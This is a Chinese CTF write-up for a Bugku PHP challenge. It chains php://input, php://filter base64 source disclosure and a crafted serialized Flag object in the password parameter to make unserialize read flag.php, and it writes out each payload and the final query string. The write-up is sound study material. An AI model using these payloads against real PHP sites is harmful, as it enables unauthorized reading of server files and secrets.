emmm。。。刷ctf题刷到的,对于我来说并不是那么简单,毕竟菜得真实,记录一下解题过程吧!
题目:http://123.206.87.240:8006/test1/
打开url;发现只有一句话;打开源码;
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
//get三个变量并赋值;
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
//<isset — 检测变量是否设置>即保证变量user不为mull;
//file_get_contents — 将整个文件读入一个字符串;即把user作为一个字符串读取;
//文件包含nclude(file); //hint.php (应该是提示条件)
只需要让把welcome to the bugkuctf赋值给user就可以了;
这里需要使用php伪协议--获取post数据(php://input);
(参考链接:https://blog.csdn.net/nzjdsds/article/details/82461043)
所以我们构造txt=php://input,并且post一个"welcome to the bugkuctf"
然后得到:
额。。。
看来问题并没有想象得那么简单;
这时候想到前面的文件//hint.php;
直接file=hint.php失败;
ok,fine!还是php伪协议--文件读取(php://filter);
构造file=php://filter/read=convert.base64-encode/resource=hint.php
得到网页源码的base64编码;解码后得到:
class Flag{//flag.php
public $file;
public function __tostring(){ //魔术方法 __tostring()用于一个类被当成字符串时应怎样回应;
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
//_tostring()方法里面又定义了如果$file这个属性有赋值的话,那么就会输出这个文件的内容(输出成一个字符串)。
}
}
}
第一眼就看见了flag.php(激动);
然而并不能直接读取;
陷入怀疑自己的道路。。。。
无可奈何 百度吧!
然后发现还有index.php这个页面。。。(啥东西嘛!!!)
继续利用php伪协议读取index.php:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
exit();
//如果文件名中有file字符则输出那个乱码的中文(大概是说不能给你flag,不知道为什么乱码了。。。)然后退出;
}else{
include($file);
$password = unserialize($password);
echo $password;
}
//解题关键在这里呢!包含文件flie;
//把password反序列化然后输出password;
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
结合两段代码即可推出让password为FLAG类型,并且让FLAG中的file就等于flag.php,这样我们就可以得到flag.php的内容;
但是password反序列化了首先我们得让它序列化;
编写脚本:
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>
得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}然后传入(?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";});
Flag get!!!
参考文章:
https://blog.csdn.net/yh1013024906/article/details/81087939
https://www.cnblogs.com/Pinging/p/8278168.html
https://blog.csdn.net/nzjdsds/article/details/82461043